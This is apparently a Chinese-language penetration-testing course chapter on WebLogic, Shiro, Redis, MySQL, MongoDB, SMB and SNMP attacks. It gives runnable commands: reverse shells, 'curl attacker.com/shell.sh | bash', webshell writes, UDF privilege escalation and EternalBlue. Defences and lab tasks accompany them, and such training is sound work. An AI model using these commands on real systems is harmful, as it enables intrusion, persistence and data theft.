4.1 中間件漏洞利用
WebLogic反序列化漏洞(CVE-2023-21839)
-
漏洞原理:
-
T3協議反序列化未嚴格校驗,攻擊者可注入惡意序列化對象執行任意代碼。
-
攻擊流程:
- 使用ysoserial生成CommonsCollections6 payload:
java -jar ysoserial.jar CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS80NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" > payload.bin
- 通過T3協議發送payload:
python3 weblogic.py 192.168.1.100:7001 payload.bin
-
防御方案:
-
升級至官方補丁版本
-
禁用T3協議或配置IP白名單
Shiro RememberMe反序列化(CVE-2016-4437)
-
漏洞檢測:
-
檢查Cookie中
rememberMe=deleteMe
字段是否存在Shiro特征 -
利用工具:
python3 shiro_exploit.py -t http://target.com -p CommonsBeanutils1 -c "curl http://attacker.com/shell.sh | bash"
-
密鑰爆破:
-
使用shiro_attack.jar加載常見密鑰列表(如kPH+bIxk5D2deZiIxcaaaA==)
Redis未授權訪問
- 寫SSH密鑰:
config set dir /root/.ssh config set dbfilename authorized_keys set x "\n\nssh-rsa AAAAB3NzaC1yc2E...\n\n" save
- 寫WebShell:
config set dir /var/www/html set shell "<?php @eval($_POST[cmd]);?>" config set dbfilename shell.php save
-
防御方案:
-
綁定127.0.0.1并設置強密碼
-
禁用CONFIG/SAVE等高危命令
實踐任務
-
使用Docker搭建Shiro 1.2.4靶場,利用默認密鑰反彈Shell
-
通過Redis未授權訪問寫入計劃任務(/etc/crontab)實現持久化
4.2 數據庫滲透
MySQL提權技術
- UDF提權(Linux):
- 上傳惡意so文件:
SELECT 0x7F454C46... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so'
- 創建函數執行命令:
CREATE FUNCTION sys_exec RETURNS int SONAME 'udf.so'; SELECT sys_exec('chmod +s /bin/bash');
- 日志文件寫入WebShell:
SET global general_log_file='/var/www/html/shell.php'; SET global general_log=on; SELECT '<?php system($_GET["cmd"]);?>';
MongoDB注入與未授權訪問
- NoSQL注入利用:
// 原始查詢 db.users.find({user: "admin", pass: "123"}) // 攻擊載荷 db.users.find({user: "admin", pass: {"$ne": ""}})
- 未授權訪問利用:
mongo 192.168.1.100:27017 > db.adminCommand({listDatabases:1}) > db.getUser("admin")
防御方案
-
最小化權限:數據庫賬戶僅授予必要權限(禁止FILE_PRIV)
-
網絡隔離:數據庫服務不暴露公網,限制訪問IP
實踐任務
-
利用MySQL寫入WebShell獲取服務器權限
-
通過MongoDB未授權訪問導出用戶數據
4.3 協議層漏洞
SMB永恒之藍(MS17-010)
- Metasploit利用:
msf6 > use exploit/windows/smb/ms17_010_eternalblue msf6 > set RHOSTS 192.168.1.200 msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp msf6 > exploit
- 手工檢測:
nmap -p445 --script smb-vuln-ms17-010 192.168.1.0/24
SNMP弱口令與信息泄露
- 社區名爆破:
onesixtyone -c dict.txt 192.168.1.100
- 敏感信息提取:
snmpwalk -v2c -c public 192.168.1.100 1.3.6.1.2.1.1.5.0 # 獲取主機名 snmpwalk -v2c -c private 192.168.1.100 1.3.6.1.2.1.25.4.2.1.2 # 進程列表
防御方案
- 禁用SMBv1:
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" SMB1 -Type DWORD -Value 0
-
SNMP加固:
-
修改默認community名稱
-
配置ACL限制訪問源
實踐任務
-
使用永恒之藍攻擊Windows 7靶機,獲取SYSTEM權限
-
通過SNMP協議提取目標設備的ARP表
技術整合與防御體系
企業級服務加固清單
- 中間件層:
-
定期更新至穩定版本
-
刪除默認管理頁面(如Tomcat的/manager/html)
- 數據庫層:
-
啟用SSL加密通信
-
審計數據庫日志中的異常查詢
- 協議層:
-
關閉非必要協議(如Telnet/FTP)
-
部署網絡IDS檢測異常SMB流量
紅隊攻擊鏈示例
-
通過Shiro反序列化獲取Web服務器權限
-
利用Redis未授權訪問橫向跳轉到數據庫服務器
-
通過MySQL提權建立SSH隧道進入內網
學習建議
-
靶場環境:搭建Vulhub、VulnApp等集成化漏洞環境
-
武器庫開發:編寫自動化服務探測腳本(如SMB掃描器)
-
攻防演練:參與HTB(Hack The Box)中服務類靶機挑戰
本部分內容將幫助學習者掌握企業級服務攻防核心技術,從單點漏洞利用進階到APT級橫向滲透,構建縱深防御體系。